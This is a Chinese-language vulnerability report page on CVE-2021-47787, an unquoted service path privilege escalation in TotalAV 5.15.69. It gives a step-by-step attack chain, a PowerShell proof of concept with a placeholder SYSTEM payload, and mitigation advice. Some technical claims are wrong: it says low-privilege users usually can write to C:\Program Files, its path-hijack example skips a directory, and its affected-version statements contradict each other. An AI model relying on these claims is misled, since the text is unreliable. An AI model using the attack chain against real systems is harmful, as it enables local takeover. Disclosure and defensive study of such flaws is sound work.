IPBUF安全漏洞报告
English
CVE-2021-47787 CVSS 7.8 高危

CVE-2021-47787 TotalAV 未引用服务路径权限提升漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47787
漏洞类型
未引用服务路径权限提升
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
TotalAV 5.15.69

相关标签

未引用服务路径权限提升TotalAVWindows服务路径劫持高危漏洞本地提权SYSTEM权限

漏洞概述

CVE-2021-47787是TotalAV杀毒软件5.15.69版本中发现的高危安全漏洞。该漏洞属于Windows系统中常见的未引用服务路径(Unquoted Service Path)问题,存在于多个以LocalSystem权限运行的系统服务中。由于服务路径包含空格且未被引号正确括起来,攻击者可以利用Windows服务启动时的路径解析机制,将恶意可执行文件放置在特定路径位置,从而在服务重启或系统启动时被以SYSTEM最高权限执行。这使得低权限攻击者可以成功提升至SYSTEM级别权限,完全控制受影响的系统。该漏洞的CVSS评分为7.8,属于高危级别,对系统安全性构成严重威胁。

技术细节

未引用服务路径漏洞的原理基于Windows操作系统在解析包含空格的服务路径时的行为。当Windows服务配置中的路径未使用双引号括起来时,系统会从路径左侧开始逐个尝试将每个空格前的字符串作为可执行文件来执行。以TotalAV为例,假设服务路径为:C:\Program Files\TotalAV\Safe Password Manager\service.exe,Windows会依次尝试执行:C:\Program.exe、C:\Program Files\Safe.exe,最后才执行正确的service.exe。攻击者只需在系统可写的路径(如C:\Program Files\)中放置名为Program.exe或Safe.exe的恶意文件,当服务启动时,Windows会优先执行这些恶意文件。由于服务以LocalSystem权限运行,恶意代码也将以SYSTEM权限执行,从而实现权限提升。攻击者通常需要具备写入特定目录的权限,并通过计划任务或服务重启触发漏洞利用。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过PowerShell的Get-WmiObject或sc命令查询系统服务,识别TotalAV相关的服务及其未引用的路径配置
STEP 2
步骤2:路径分析
分析服务路径中的空格位置,确定可劫持的路径段。例如路径C:\Program Files\TotalAV\Safe Password Manager\service.exe中,C:\Program Files\和C:\Program Files\TotalAV\Safe Password Manager\都是潜在劫持点
STEP 3
步骤3:权限检查
检查当前用户是否对目标路径段(如C:\Program Files\)具有写入权限,低权限用户通常对Program Files目录有写入权限
STEP 4
步骤4:恶意文件部署
将恶意可执行文件(如Program.exe)放置到可写的路径段中,该文件名称需与路径中空格前的第一个单词匹配
STEP 5
步骤5:触发执行
等待系统启动、服务重启或通过社会工程诱导管理员重启服务,Windows会优先执行未引用路径中的恶意文件
STEP 6
步骤6:权限提升
恶意文件以LocalSystem权限执行,攻击者成功获得SYSTEM级别访问权限,可完全控制受感染系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2021-47787 PoC - TotalAV Unquoted Service Path # This PoC demonstrates the path hijacking vulnerability $malicious_exe = @' // Simple malicious executable placeholder // In real attack, replace with actual payload #include <windows.h> int WinMain() { // Payload execution with SYSTEM privileges system("cmd.exe /c whoami > C:\\temp\\pwned.txt"); return 0; } '@ # Step 1: Identify unquoted service paths for TotalAV $services = Get-WmiObject win32_service | Where-Object { $_.pathname -like '*TotalAV*' -and $_.pathname -notmatch '"' } Write-Host "[+] Found TotalAV services with unquoted paths:" $services | Select-Object name, pathname | Format-Table # Step 2: Extract path segments to determine hijackable location foreach ($svc in $services) { $path = $svc.pathname $segments = $path -split '\\' | Where-Object { $_ -ne '' } Write-Host "[+] Service: $($svc.name)" Write-Host "[+] Checking writable path segments..." } # Step 3: Create malicious executable in hijacked location # Note: Requires write access to a path segment before a space $target_path = "C:\\Program Files\\Program.exe" Write-Host "[+] Creating malicious executable at: $target_path" # In practice, compile and place actual payload here # Step 4: Trigger service restart to execute payload Write-Host "[+] Waiting for service restart..." # Use: Restart-Service -Name "ServiceName" (requires admin) Write-Host "[+] If successful, payload should execute with SYSTEM privileges"

影响范围

TotalAV < 5.15.69
TotalAV 5.15.69(受影响版本)

防御指南

临时缓解措施
在厂商发布正式补丁前,可通过以下措施临时缓解:首先,使用icacls命令限制用户对C:\Program Files等目录的写入权限;其次,手动修改注册表中的服务路径,为所有包含空格的服务路径添加双引号;最后,监控系统日志中的异常进程创建事件,及时发现可疑活动。建议优先进行版本升级以彻底消除该漏洞风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表